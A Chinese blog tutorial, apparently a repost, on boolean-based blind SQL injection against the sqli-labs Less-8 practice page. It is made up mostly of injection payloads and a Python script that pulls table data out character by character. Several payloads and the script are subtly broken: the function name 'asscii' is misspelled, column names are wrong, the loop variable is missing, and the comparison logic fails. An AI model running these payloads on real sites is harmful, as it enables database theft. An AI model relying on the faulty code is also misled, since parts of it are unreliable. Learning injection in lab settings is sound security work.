其他分享
首页 > 其他分享> > 布尔盲注

布尔盲注

作者:互联网

Boolean盲注(在输入id=1的情况下只返回yes或no就需要考虑是否是boolean类型)

判断数据库长度名

?id=1' and length(database())>=5 --+    //字符型,length函数查询database数据库长度是否大于5,大于5则返回和id=1一样的结果

通过工具爆破数据库名(采用bp工具进行爆破)

?id=1' and asscii(substr(database(),1,1))='&a&' --+ //asscii表示将substr(database(),1,2)中的字符转换为asscii码,substr()函数表示截取database()第一个位置,截取的长度为2,’&a&‘表示这是个能输入的变量

通过工具爆破表名(采用bp工具进行爆破)

?id=1' and asscii(substr((select table_name from information_schema.tables where table.schema=database() limit 0 ,1),1,1))='&a&' --+

//limit 0,1的0表示从第一条数据开始,1表示只向下记录1条数据

注:重复上面的步骤,找到库中的所有表,依次增加limit后面的0,1使其变为1,1 、2,1.......

通过工具爆破表的字段(采用bp工具进行爆破)假设需要查找的表为test

?id=1' and asscii(substr((select table_name from information_schema.tables where table.name='test' limit 0 ,1),1,1))='&a&' --+

注:重复上面的步骤,找到库中的所有表,依次增加limit后面的0,1使其变为1,1 、2,1......

通过布尔盲注,输出表中数据(脱裤)

在进行脱裤之前,先判断表中有多少记录

?id=1' and (select count(*) from test)>0 --+

判断当前记录的长度

?id=1' and (select length(username) from emails limit 0,1)>15 --+

利用python实现获取test表中的内容

def get_data():

 result = ""  url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"  chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'  for in range(1,17):   for char in chars:    char_ascii = ord(char)    url = url_template.format(i,char_ascii)    response = requests.get(url)    length = len(response.text)    #返回的长度只有706和722    if length>706:     result += char     break  print(result)

注:%23是#的在http中的网址URL编码,在拿出第一个字符后,修改上面的limit 0,1,改为limit 1,1查找第二个字符,依次轮循。

标签:database,substr,length,limit,--+,盲注,id,布尔
来源: https://www.cnblogs.com/ayheng/p/15195190.html